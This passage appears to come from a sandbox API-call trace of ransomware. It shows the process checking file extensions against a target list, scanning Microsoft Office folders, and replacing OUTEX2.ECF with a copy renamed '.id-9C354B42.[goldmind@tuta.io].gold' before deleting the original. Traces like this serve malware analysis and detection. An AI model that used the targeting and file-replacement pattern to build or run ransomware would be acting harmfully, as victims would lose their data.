(lpString=".pdf") returned 4 [0109.724] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.724] lstrlenW (lpString=".xls") returned 4 [0109.724] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.724] lstrlenW (lpString=".xlsx") returned 5 [0109.724] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0109.724] lstrlenW (lpString=".ppt") returned 4 [0109.724] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.724] lstrlenW (lpString=".zip") returned 4 [0109.724] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.724] lstrlenW (lpString=".rar") returned 4 [0109.724] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.724] lstrlenW (lpString=".bz2") returned 4 [0109.724] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.724] lstrlenW (lpString=".7z") returned 3 [0109.724] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.724] lstrlenW (lpString=".dbf") returned 4 [0109.724] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.724] lstrlenW (lpString=".1cd") returned 4 [0109.724] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString=".jpg") returned 4 [0109.725] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString=".doc") returned 4 [0109.725] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString=".docx") returned 5 [0109.725] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0109.725] lstrlenW (lpString=".pdf") returned 4 [0109.725] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString=".xls") returned 4 [0109.725] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString=".xlsx") returned 5 [0109.725] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0109.725] lstrlenW (lpString=".ppt") returned 4 [0109.725] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString=".zip") returned 4 [0109.725] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString=".rar") returned 4 [0109.725] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.725] lstrlenW (lpString=".bz2") returned 4 [0109.725] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.725] lstrlenW (lpString=".7z") returned 3 [0109.725] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString=".dbf") returned 4 [0109.725] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString=".1cd") returned 4 [0109.725] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.725] lstrlenW (lpString=".jpg") returned 4 [0109.725] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.725] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.725] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0109.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0109.726] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=744888) returned 1 [0109.726] CloseHandle (hObject=0x380) returned 1 [0109.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll")) returned 0x20 [0109.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString=".doc") returned 4 [0109.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString=".docx") returned 5 [0109.727] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0109.727] lstrlenW (lpString=".pdf") returned 4 [0109.727] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString=".xls") returned 4 [0109.727] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString=".xlsx") returned 5 [0109.727] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0109.727] lstrlenW (lpString=".ppt") returned 4 [0109.727] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString=".zip") returned 4 [0109.727] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString=".rar") returned 4 [0109.727] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString=".bz2") returned 4 [0109.727] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.727] lstrlenW (lpString=".7z") returned 3 [0109.727] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString=".dbf") returned 4 [0109.727] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString=".1cd") returned 4 [0109.727] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString=".jpg") returned 4 [0109.727] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.727] lstrlenW (lpString=".doc") returned 4 [0109.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.727] lstrlenW (lpString=".docx") returned 5 [0109.727] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0109.728] lstrlenW (lpString=".pdf") returned 4 [0109.728] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.728] lstrlenW (lpString=".xls") returned 4 [0109.728] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.728] lstrlenW (lpString=".xlsx") returned 5 [0109.728] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0109.728] lstrlenW (lpString=".ppt") returned 4 [0109.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.728] lstrlenW (lpString=".zip") returned 4 [0109.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.728] lstrlenW (lpString=".rar") returned 4 [0109.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.728] lstrlenW (lpString=".bz2") returned 4 [0109.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.728] lstrlenW (lpString=".7z") returned 3 [0109.728] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.728] lstrlenW (lpString=".dbf") returned 4 [0109.728] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.728] lstrlenW (lpString=".1cd") returned 4 [0109.728] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0109.728] lstrlenW (lpString=".jpg") returned 4 [0109.728] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.728] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.728] lstrlenW (lpString="ACCOLK.DLL") returned 10 [0109.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0109.730] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=123784) returned 1 [0109.730] CloseHandle (hObject=0x380) returned 1 [0109.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll")) returned 0x20 [0109.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.730] lstrlenW (lpString=".doc") returned 4 [0109.730] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.730] lstrlenW (lpString=".docx") returned 5 [0109.730] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0109.731] lstrlenW (lpString=".pdf") returned 4 [0109.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".xls") returned 4 [0109.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".xlsx") returned 5 [0109.731] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0109.731] lstrlenW (lpString=".ppt") returned 4 [0109.731] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".zip") returned 4 [0109.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".rar") returned 4 [0109.731] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".bz2") returned 4 [0109.731] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.731] lstrlenW (lpString=".7z") returned 3 [0109.731] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".dbf") returned 4 [0109.731] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".1cd") returned 4 [0109.731] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".jpg") returned 4 [0109.731] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".doc") returned 4 [0109.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".docx") returned 5 [0109.731] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0109.731] lstrlenW (lpString=".pdf") returned 4 [0109.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".xls") returned 4 [0109.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".xlsx") returned 5 [0109.731] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0109.731] lstrlenW (lpString=".ppt") returned 4 [0109.731] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".zip") returned 4 [0109.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".rar") returned 4 [0109.731] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.731] lstrlenW (lpString=".bz2") returned 4 [0109.731] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.731] lstrlenW (lpString=".7z") returned 3 [0109.731] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".dbf") returned 4 [0109.731] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.731] lstrlenW (lpString=".1cd") returned 4 [0109.731] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0109.732] lstrlenW (lpString=".jpg") returned 4 [0109.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.732] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0109.732] lstrlenW (lpString="BCSAddin.dll") returned 12 [0109.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0109.745] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=190336) returned 1 [0109.745] CloseHandle (hObject=0x198) returned 1 [0109.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll")) returned 0x20 [0109.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.839] lstrlenW (lpString=".doc") returned 4 [0109.839] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString=".docx") returned 5 [0109.839] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0109.839] lstrlenW (lpString=".pdf") returned 4 [0109.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString=".xls") returned 4 [0109.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString=".xlsx") returned 5 [0109.839] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0109.839] lstrlenW (lpString=".ppt") returned 4 [0109.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.839] lstrlenW (lpString=".zip") returned 4 [0109.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString=".rar") returned 4 [0109.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString=".bz2") returned 4 [0109.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.839] lstrlenW (lpString=".7z") returned 3 [0109.839] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.839] lstrlenW (lpString=".dbf") returned 4 [0109.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".1cd") returned 4 [0109.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".jpg") returned 4 [0109.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".doc") returned 4 [0109.840] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString=".docx") returned 5 [0109.840] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0109.840] lstrlenW (lpString=".pdf") returned 4 [0109.840] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString=".xls") returned 4 [0109.840] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString=".xlsx") returned 5 [0109.840] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0109.840] lstrlenW (lpString=".ppt") returned 4 [0109.840] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".zip") returned 4 [0109.840] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString=".rar") returned 4 [0109.840] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.840] lstrlenW (lpString=".bz2") returned 4 [0109.840] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.840] lstrlenW (lpString=".7z") returned 3 [0109.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".dbf") returned 4 [0109.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".1cd") returned 4 [0109.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0109.840] lstrlenW (lpString=".jpg") returned 4 [0109.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.840] lstrcmpiW (lpString1=".ECF", lpString2=".gold") returned -1 [0109.840] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0109.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.841] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=850) returned 1 [0109.841] CloseHandle (hObject=0x38c) returned 1 [0109.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 0x20 [0109.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.844] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.844] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.845] GetLastError () returned 0x0 [0109.845] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x352, lpOverlapped=0x0) returned 1 [0109.847] WriteFile (in: hFile=0x3c4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x360, lpOverlapped=0x0) returned 1 [0109.847] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.847] WriteFile (in: hFile=0x3c4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0109.848] SetEndOfFile (hFile=0x3c4) returned 1 [0109.848] CloseHandle (hObject=0x3c4) returned 1 [0109.848] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.848] SetEndOfFile (hFile=0x38c) returned 1 [0109.852] CloseHandle (hObject=0x38c) returned 1 [0109.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 1 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString=".doc") returned 4 [0109.854] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.854] lstrlenW (lpString=".docx") returned 5 [0109.854] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0109.854] lstrlenW (lpString=".pdf") returned 4 [0109.854] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.854] lstrlenW (lpString=".xls") returned 4 [0109.854] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.854] lstrlenW (lpString=".xlsx") returned 5 [0109.854] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0109.854] lstrlenW (lpString=".ppt") returned 4 [0109.854] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString=".zip") returned 4 [0109.854] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.854] lstrlenW (lpString=".rar") returned 4 [0109.854] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.854] lstrlenW (lpString=".bz2") returned 4 [0109.854] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.854] lstrlenW (lpString=".7z") returned 3 